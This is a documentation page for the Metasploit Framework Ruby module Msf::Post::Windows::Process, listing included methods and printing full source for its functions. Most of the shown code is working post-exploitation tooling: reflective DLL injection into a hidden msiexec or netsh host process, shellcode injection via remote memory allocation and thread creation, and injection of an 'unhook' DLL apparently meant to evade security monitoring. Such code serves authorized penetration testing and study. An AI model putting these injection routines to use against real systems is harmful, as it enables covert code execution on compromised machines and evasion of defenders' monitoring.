Module: Msf::Post::Windows::Process

Includes:
Process, ReflectiveDLLInjection
Defined in:
lib/msf/core/post/windows/process.rb

Constant Summary

Constants included from ReflectiveDLLInjection

ReflectiveDLLInjection::PAGE_ALIGN

Constants included from ReflectiveDLLLoader

ReflectiveDLLLoader::EXPORT_REFLECTIVELOADER

Instance Method Summary collapse

Methods included from Process

#get_processes, #has_pid?, #kill_process, #meterpreter_get_processes, #pidof, #shell_get_processes

Methods included from File

#_append_file_powershell, #_append_file_unix_shell, #_can_echo?, #_read_file_meterpreter, #_read_file_powershell, #_read_file_powershell_fragment, #_shell_command_with_success_code, #_unix_max_line_length, #_win_ansi_append_file, #_win_ansi_write_file, #_win_bin_append_file, #_win_bin_write_file, #_write_file_meterpreter, #_write_file_powershell, #_write_file_powershell_fragment, #_write_file_unix_shell, #append_file, #attributes, #cd, #chmod, #copy_file, #dir, #directory?, #executable?, #exist?, #expand_path, #exploit_data, #exploit_source, #file?, #file_local_write, #file_remote_digestmd5, #file_remote_digestsha1, #file_remote_digestsha2, #immutable?, #mkdir, #pwd, #read_file, #readable?, #rename_file, #rm_f, #rm_rf, #setuid?, #stat, #upload_and_chmodx, #upload_file, #writable?, #write_file

Methods included from Common

#clear_screen, #cmd_exec, #cmd_exec_get_pid, #cmd_exec_with_result, #command_exists?, #get_env, #get_envs, #peer, #report_virtualization, #rhost, #rport

Methods included from ReflectiveDLLInjection

#inject_dll_data_into_process, #inject_dll_into_process, #inject_into_process

Methods included from ReflectiveDLLLoader

#load_rdi_dll, #load_rdi_dll_from_data

Instance Method Details

#arch_check(test_arch, pid) ⇒ Object

Checks the architecture of a payload and PID are compatible Returns true if they are false if they are not



39
40
41
42
43
44
45
46
47
# File 'lib/msf/core/post/windows/process.rb', line 39

def arch_check(test_arch, pid)
  # get the pid arch
  client.sys.process.processes.each do |p|
    # Check Payload Arch
    if pid == p["pid"]
      return test_arch == p['arch']
    end
  end
end

#execute_dll(rdll_path, param = nil, pid = nil) ⇒ Object

Injects a reflective DLL into a process, and executes it.

Parameters:

  • rdll_path (String)

    The path to the DLL to inject

  • param (String, Integer, nil) (defaults to: nil)

    The parameter to pass to the DLL's entry point. If this value is a String then it will first be written into the process memory and then passed by reference. If the value is an Integer, then the value will be passed as is. If the value is nil, it'll be passed as a NULL pointer.

  • pid (Integer) (defaults to: nil)

    The process ID to inject to, if unspecified, a new instance of a random EXE from the process_list array will be launched to host the injected DLL.



72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
# File 'lib/msf/core/post/windows/process.rb', line 72

def execute_dll(rdll_path, param=nil, pid=nil)
  process_list = ['msiexec', 'netsh']
  if pid.nil?
    # Get a random process from the process list to spawn.
    process_cmd = process_list.sample

    # Use Rex's PeParsey as per Spencer's suggestion to determine the true architecture of the DLL we are injecting.
    pe = Rex::PeParsey::Pe.new_from_file(rdll_path, true)
    arch = pe.hdr.file['Machine'].value

    # If the DLL is x86 but the host architecture is x64, then launch a 32 bit WoW64 binary to inject into.
    if (arch == Rex::PeParsey::PeBase::IMAGE_FILE_MACHINE_I386) && (session.sys.config.sysinfo['Architecture'] == ARCH_X64)
      windir = session.sys.config.getenv('windir')
      process_cmd = "#{windir}\\SysWOW64\\#{process_cmd}.exe"
    end
    print_status("Launching #{process_cmd} to host the DLL...")
    host_process = client.sys.process.execute(process_cmd, nil, { 'Hidden' => true })
    begin
      process = client.sys.process.open(host_process.pid, PROCESS_ALL_ACCESS)
      print_good("Process #{process.pid} launched.")
    rescue Rex::Post::Meterpreter::RequestError
      # Reader Sandbox won't allow to create a new process:
      # stdapi_sys_process_execute: Operation failed: Access is denied.
      print_error('Operation failed. Trying to inject into the current process...')
      process = client.sys.process.open
    end
  else
    process = session.sys.process.open(pid.to_i, PROCESS_ALL_ACCESS)
  end
  print_status("Reflectively injecting the DLL into #{process.pid}...")
  exploit_mem, offset = inject_dll_into_process(process, ::File.expand_path(rdll_path))

  if param.is_a?(String)
    # if it's a string, treat it as data and copy it into the remote process then pass it by reference
    param_ptr = inject_into_process(process, param)
  elsif param.is_a?(Integer)
    param_ptr = param
  elsif param.nil?
    param_ptr = 0
  else
    raise TypeError, 'param must be a string, integer or nil'
  end

  process.thread.create(exploit_mem + offset, param_ptr)
  nil
end

#execute_shellcode(shellcode, base_addr = nil, pid = nil) ⇒ Boolean

Injects shellcode to a process, and executes it.

Parameters:

  • shellcode (String)

    The shellcode to execute

  • base_addr (Integer) (defaults to: nil)

    The base address to allocate memory

  • pid (Integer) (defaults to: nil)

    The process ID to inject to, if unspecified, the shellcode will be executed in place.

Returns:

  • (Boolean)

    True if successful, otherwise false



128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
# File 'lib/msf/core/post/windows/process.rb', line 128

def execute_shellcode(shellcode, base_addr=nil, pid=nil)
  pid ||= session.sys.process.getpid
  host  = session.sys.process.open(pid.to_i, PROCESS_ALL_ACCESS)
  if base_addr.nil?
    shell_addr = host.memory.allocate(shellcode.length)
  else
    shell_addr = host.memory.allocate(shellcode.length, nil, base_addr)
  end

  host.memory.protect(shell_addr)

  if host.memory.write(shell_addr, shellcode) < shellcode.length
    vprint_error("Failed to write shellcode")
    return false
  end

  vprint_status("Creating the thread to execute in 0x#{shell_addr.to_s(16)} (pid=#{pid.to_s})")
  thread = host.thread.create(shell_addr,0)
  unless thread.instance_of?(Rex::Post::Meterpreter::Extensions::Stdapi::Sys::Thread)
    vprint_error("Unable to create thread")
    nil
  end
  thread
end

#get_notepad_pathname(bits, windir, client_arch) ⇒ Object

returns the path to the notepad process based on syswow extension



50
51
52
53
54
55
56
57
58
59
60
61
# File 'lib/msf/core/post/windows/process.rb', line 50

def get_notepad_pathname(bits, windir, client_arch)
  if bits == ARCH_X86 and client_arch == ARCH_X86
    cmd = "#{windir}\\System32\\notepad.exe"
  elsif bits == ARCH_X64 and client_arch == ARCH_X64
    cmd = "#{windir}\\System32\\notepad.exe"
  elsif bits == ARCH_X64 and client_arch == ARCH_X86
    cmd = "#{windir}\\Sysnative\\notepad.exe"
  elsif bits == ARCH_X86 and client_arch == ARCH_X64
    cmd = "#{windir}\\SysWOW64\\notepad.exe"
  end
  return cmd
end

#initialize(info = {}) ⇒ Object



13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
# File 'lib/msf/core/post/windows/process.rb', line 13

def initialize(info = {})
  super(
    update_info(
      info,
      'Compat' => {
        'Meterpreter' => {
          'Commands' => %w[
            stdapi_sys_config_getenv
            stdapi_sys_config_sysinfo
            stdapi_sys_process_attach
            stdapi_sys_process_execute
            stdapi_sys_process_getpid
            stdapi_sys_process_get_processes
            stdapi_sys_process_memory_allocate
            stdapi_sys_process_memory_protect
            stdapi_sys_process_memory_write
            stdapi_sys_process_thread_create
          ]
        }
      }
    )
  )
end

#inject_unhook(proc, bits, delay_sec) ⇒ Object



153
154
155
156
157
158
159
160
161
162
163
164
165
# File 'lib/msf/core/post/windows/process.rb', line 153

def inject_unhook(proc, bits, delay_sec)
  if bits == ARCH_X64
    dll_file_name = 'x64.dll'
  elsif bits == ARCH_X86
    dll_file_name = 'x86.dll'
  else
    return false
  end
  dll_file = MetasploitPayloads.meterpreter_ext_path('unhook', dll_file_name)
  dll, offset = inject_dll_into_process(proc, dll_file)
  proc.thread.create(dll + offset, 0)
  Rex.sleep(delay_sec)
end